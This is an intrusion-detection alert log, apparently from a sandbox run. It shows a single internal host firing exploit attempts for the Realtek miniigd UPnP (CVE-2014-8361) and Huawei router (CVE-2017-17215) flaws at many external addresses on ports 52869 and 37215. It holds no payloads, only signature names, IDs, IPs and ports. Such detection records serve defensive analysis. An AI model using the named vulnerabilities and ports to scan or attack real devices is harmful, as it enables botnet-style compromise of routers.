Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.197.203.89

Timestamp:	07/20/24-23:02:12.214887
SID:	2025132
Source Port:	44612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.255.33.143

Timestamp:	07/20/24-23:01:52.877228
SID:	2025132
Source Port:	39966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.59.135.254

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	42932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 128.228.244.234

Timestamp:	07/20/24-23:01:14.013456
SID:	2835222
Source Port:	50252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.153.94

Timestamp:	07/20/24-23:01:32.046185
SID:	2829579
Source Port:	37230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.35.167.52

Timestamp:	07/20/24-23:01:47.641942
SID:	2027339
Source Port:	56544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 93.63.209.119

Timestamp:	07/20/24-23:01:11.632393
SID:	2829579
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.205.140.164

Timestamp:	07/20/24-23:01:41.747994
SID:	2027339
Source Port:	52954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.254.24.88

Timestamp:	07/20/24-23:01:14.095462
SID:	2835222
Source Port:	39338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.182.239.64

Timestamp:	07/20/24-23:01:57.978712
SID:	2027339
Source Port:	33088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.103.67

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.159.104.180

Timestamp:	07/20/24-23:02:05.786490
SID:	2027339
Source Port:	44472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.128.111.151

Timestamp:	07/20/24-23:01:42.522141
SID:	2027339
Source Port:	32980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.158.136.187

Timestamp:	07/20/24-23:01:44.839991
SID:	2025132
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.28.32

Timestamp:	07/20/24-23:01:27.656128
SID:	2829579
Source Port:	35156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.12.206.97

Timestamp:	07/20/24-23:02:09.668312
SID:	2027339
Source Port:	39408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.202.120.94

Timestamp:	07/20/24-23:01:42.786028
SID:	2831300
Source Port:	45846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.196.109.144

Timestamp:	07/20/24-23:01:55.897722
SID:	2831300
Source Port:	57438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.24.147.17

Timestamp:	07/20/24-23:01:14.308979
SID:	2025132
Source Port:	52268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.176.91

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	44104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.252.101.116

Timestamp:	07/20/24-23:01:44.811941
SID:	2025132
Source Port:	43366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.80.181.136

Timestamp:	07/20/24-23:01:45.862503
SID:	2027339
Source Port:	37346
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.544315
SID:	2025132
Source Port:	46764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.34.215.18

Timestamp:	07/20/24-23:01:46.591274
SID:	2027339
Source Port:	37074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.225.3.54

Timestamp:	07/20/24-23:01:08.626717
SID:	2027339
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.110.213.163

Timestamp:	07/20/24-23:01:08.629616
SID:	2027339
Source Port:	40660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.119.24.21

Timestamp:	07/20/24-23:01:42.988854
SID:	2025132
Source Port:	40898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.153.202.8

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	56038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.233.186.203

Timestamp:	07/20/24-23:02:12.203120
SID:	2027339
Source Port:	55958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.143.10

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	38402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.102.125.164

Timestamp:	07/20/24-23:01:42.662466
SID:	2025132
Source Port:	47294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.82.6.11

Timestamp:	07/20/24-23:01:42.762943
SID:	2831300
Source Port:	58862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.54.72.251

Timestamp:	07/20/24-23:01:02.370068
SID:	2025132
Source Port:	43534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 138.151.216.98

Timestamp:	07/20/24-23:01:27.666100
SID:	2835222
Source Port:	54798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.190.175

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	56586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.88.74.46

Timestamp:	07/20/24-23:01:44.831438
SID:	2831300
Source Port:	51672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.120.36.80

Timestamp:	07/20/24-23:01:58.701160
SID:	2027339
Source Port:	42704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.69.223.90

Timestamp:	07/20/24-23:02:11.703257
SID:	2025132
Source Port:	52068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.228.131.204

Timestamp:	07/20/24-23:01:42.612597
SID:	2027339
Source Port:	50022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.231.118

Timestamp:	07/20/24-23:01:07.082771
SID:	2835222
Source Port:	42202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.130.242.221

Timestamp:	07/20/24-23:01:31.327808
SID:	2027339
Source Port:	44482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 88.195.110.211

Timestamp:	07/20/24-23:00:59.178062
SID:	2829579
Source Port:	50036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.120.34.76

Timestamp:	07/20/24-23:01:43.536328
SID:	2025132
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.195.103.231

Timestamp:	07/20/24-23:01:20.598095
SID:	2027339
Source Port:	47886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.208.18.63

Timestamp:	07/20/24-23:01:42.778303
SID:	2027339
Source Port:	41608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.121.190.157

Timestamp:	07/20/24-23:01:47.995637
SID:	2831300
Source Port:	58774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.206.154.241

Timestamp:	07/20/24-23:01:44.670958
SID:	2831300
Source Port:	40520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.252.101.116

Timestamp:	07/20/24-23:01:48.445925
SID:	2027339
Source Port:	43564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.232.12

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.76.42.187

Timestamp:	07/20/24-23:01:41.380677
SID:	2027339
Source Port:	38148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.102.172.20

Timestamp:	07/20/24-23:01:58.146170
SID:	2831300
Source Port:	41844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.88.209.175

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	48754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.249.141.193

Timestamp:	07/20/24-23:01:45.030115
SID:	2027339
Source Port:	41490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.208.30.144

Timestamp:	07/20/24-23:01:45.175511
SID:	2027339
Source Port:	45520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.60.237.131

Timestamp:	07/20/24-23:01:54.979156
SID:	2831300
Source Port:	48088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.205.8.144

Timestamp:	07/20/24-23:01:44.757783
SID:	2831300
Source Port:	49426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.27.117.219

Timestamp:	07/20/24-23:01:51.517722
SID:	2027339
Source Port:	37782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 153.216.34.227

Timestamp:	07/20/24-23:01:27.650337
SID:	2835222
Source Port:	54152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.221.247.167

Timestamp:	07/20/24-23:01:02.104571
SID:	2835222
Source Port:	46718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.88.74.31

Timestamp:	07/20/24-23:01:44.640160
SID:	2831300
Source Port:	56874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.46.59

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	53044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.88.31

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	53980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.90.143

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	53368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.140.184.210

Timestamp:	07/20/24-23:01:45.713934
SID:	2831300
Source Port:	42144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.111.61.71

Timestamp:	07/20/24-23:01:47.940882
SID:	2027339
Source Port:	50980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.192.4.35

Timestamp:	07/20/24-23:01:42.966322
SID:	2025132
Source Port:	48450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.177.145.85

Timestamp:	07/20/24-23:01:49.352576
SID:	2831300
Source Port:	42072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	07/20/24-23:01:09.021221
SID:	2831300
Source Port:	59966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.200.249.59

Timestamp:	07/20/24-23:01:44.868029
SID:	2027339
Source Port:	43854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.28.196.248

Timestamp:	07/20/24-23:01:52.161566
SID:	2027339
Source Port:	47924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.46.67.74

Timestamp:	07/20/24-23:01:08.677189
SID:	2027339
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.184.175.46

Timestamp:	07/20/24-23:01:53.625100
SID:	2027339
Source Port:	46808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.204.184

Timestamp:	07/20/24-23:00:57.223887
SID:	2835222
Source Port:	51376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.10.251.72

Timestamp:	07/20/24-23:01:02.456435
SID:	2025132
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.232.148.145

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.31.241

Timestamp:	07/20/24-23:01:34.044223
SID:	2829579
Source Port:	53408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.109.117.107

Timestamp:	07/20/24-23:01:41.205247
SID:	2025132
Source Port:	39042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.250.155.116

Timestamp:	07/20/24-23:01:50.313969
SID:	2027339
Source Port:	48368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.69.102.152

Timestamp:	07/20/24-23:01:41.405709
SID:	2025132
Source Port:	60722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.183.86.6

Timestamp:	07/20/24-23:01:59.063098
SID:	2027339
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.105.77.87

Timestamp:	07/20/24-23:02:20.410049
SID:	2831300
Source Port:	38492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.71.16

Timestamp:	07/20/24-23:01:34.044152
SID:	2835222
Source Port:	59462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.139.204

Timestamp:	07/20/24-23:01:00.638418
SID:	2835222
Source Port:	36698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.225.111.147

Timestamp:	07/20/24-23:02:06.935770
SID:	2027339
Source Port:	36748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 18.226.20.52

Timestamp:	07/20/24-23:01:20.140632
SID:	2835222
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.66.65

Timestamp:	07/20/24-23:01:24.894099
SID:	2829579
Source Port:	56780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.41.229.158

Timestamp:	07/20/24-23:01:44.099799
SID:	2027339
Source Port:	54386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.169.172.215

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	56778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.154.71.43

Timestamp:	07/20/24-23:01:20.592479
SID:	2831300
Source Port:	37526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.2.94.148

Timestamp:	07/20/24-23:01:14.013095
SID:	2835222
Source Port:	49406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.14.204.18

Timestamp:	07/20/24-23:01:08.575986
SID:	2027339
Source Port:	43452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.36.200.98

Timestamp:	07/20/24-23:01:54.859884
SID:	2831300
Source Port:	38430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 184.144.178.174

Timestamp:	07/20/24-23:01:11.820149
SID:	2835222
Source Port:	60704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.229.228.64

Timestamp:	07/20/24-23:01:49.011895
SID:	2027339
Source Port:	50016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:53.261844
SID:	2027339
Source Port:	36204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.12.29.225

Timestamp:	07/20/24-23:01:46.961079
SID:	2025132
Source Port:	50102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.96.176.194

Timestamp:	07/20/24-23:01:56.127051
SID:	2025132
Source Port:	60470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.182.11.252

Timestamp:	07/20/24-23:01:08.659435
SID:	2831300
Source Port:	52074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.9.81.218

Timestamp:	07/20/24-23:01:55.572517
SID:	2025132
Source Port:	45208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

